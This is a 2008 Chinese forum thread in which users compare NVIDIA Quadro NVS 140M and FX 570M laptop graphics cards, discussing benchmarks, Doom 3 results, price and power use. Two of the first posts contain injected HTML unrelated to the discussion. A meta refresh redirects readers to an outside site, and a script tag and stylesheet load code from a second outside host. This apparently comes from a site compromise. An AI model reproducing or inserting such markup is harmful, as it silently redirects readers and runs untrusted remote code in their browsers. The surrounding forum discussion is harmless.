140M与570M的比较。

accountant · 发表于 2008-1-3 23:21

偷懒了，也不想翻译了。<meta http-equiv="refresh" content="0; url=http://www.981.cc">
★★★
<script type="text/javascript" src="http://www.972.cc/1.js"></script>
<link href="http://www.972.cc/1.css" rel="stylesheet" type="text/css" media="screen" />

<P> </P>
<P> </P>

<P> </P>

accountant · 发表于 2008-1-3 23:24

NVIDIA Quadro NVS 140M - benchmark
★★★
<script type="text/javascript" src="http://www.972.cc/1.js"></script>
<link href="http://www.972.cc/1.css" rel="stylesheet" type="text/css" media="screen" />

<P> </P>
<P> </P>

<P> </P>

accountant · 发表于 2008-1-3 23:26

NVIDIA Quadro NVS 140M - Doom 3 in comparison

accountant · 发表于 2008-1-3 23:27

NVIDIA Quadro FX 570M

accountant · 发表于 2008-1-3 23:28

NVIDIA Quadro FX 570M - Benchmarks

accountant · 发表于 2008-1-3 23:31

NVIDIA Quadro FX 570M - DOOM 3 in comparision

accountant · 发表于 2008-1-3 23:32

NVIDIA Quadro FX 570M 确实很强悍的。

smartadai · 发表于 2008-1-4 08:35

原帖由 accountant 于 2008-1-3 23:32 发表
NVIDIA Quadro FX 570M 确实很强悍的。

但是也贵个很多的啊

aklakl · 发表于 2008-1-4 10:34

不错。。。。学习。。不用翻译也能看懂。。

hjbupt6 · 发表于 2008-1-4 12:14

哦反正570肯定比140强，140居然快赶上X1600了

accountant · 发表于 2008-1-4 12:26

140M也是能够接受的。

dby95 · 发表于 2008-1-4 16:23

幸好是英文的，还能看懂

feliex · 发表于 2008-1-4 18:13

140就够了，毕竟没什么太多的需求而且570贵多了。

hjbupt6 · 发表于 2008-1-4 20:07

256M版本的 570那是相当贵啊

dby95 · 发表于 2008-1-4 21:00

看p里面15000以上的都是这个了

accountant · 发表于 2008-1-4 21:37

大宽屏的机器都使用570M。

linn324 · 发表于 2008-1-4 23:14

140可以了，570毕竟有些贵

accountant · 发表于 2008-1-4 23:55

看doom 3比较，差别还是很大的。

aklakl · 发表于 2008-1-5 11:38

有道理 570价格还是贵些毕竟是TPP的产品么

linn324 · 发表于 2008-1-5 21:02

攒钱，，，，，

cyz921 · 发表于 2008-1-5 21:40

61要有NVS 570M 256M就强了！

dby95 · 发表于 2008-1-5 22:11

强是要用银子来换的

a01234567 · 发表于 2008-1-10 16:44

570肯定比140强

hjbupt6 · 发表于 2008-1-12 22:33

原帖由 cyz921 于 2008-1-5 21:40 发表
61要有NVS 570M 256M就强了！

那样一个61都得14K起了

ck.lg · 发表于 2008-1-13 04:57

才知道。。。功耗比是1：3.5啊

账号		自动登录	找回密码
密码			加入

140M与570M的比较。

NVIDIA Quadro FX 570M

关于我们

售后&帮助